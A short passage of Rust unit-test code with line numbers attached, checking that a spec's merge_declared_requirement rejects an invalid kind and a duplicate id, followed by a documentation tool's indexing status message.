.is_err() - 2986
); - 2987
assert!( - 2988
spec.merge_declared_requirement("bad", "grant", "x", "must", None) - 2989
.is_err() - 2990
); - 2991
// First insertion of "dup" must succeed; the second must fail. - 2992
assert!( - 2993
spec.merge_declared_requirement("dup", "constraint", "x", "must", None) - 2994
.is_ok() - 2995
); - 2996
assert!( - 2997
spec.merge_declared_requirement("dup", "constraint", "y", "must", None) - 2998
.is_err() - 2999
); - 3000
}
Indexing the workspace…
Vakyartha documentation is discovering safe artifacts, anchors, and source references.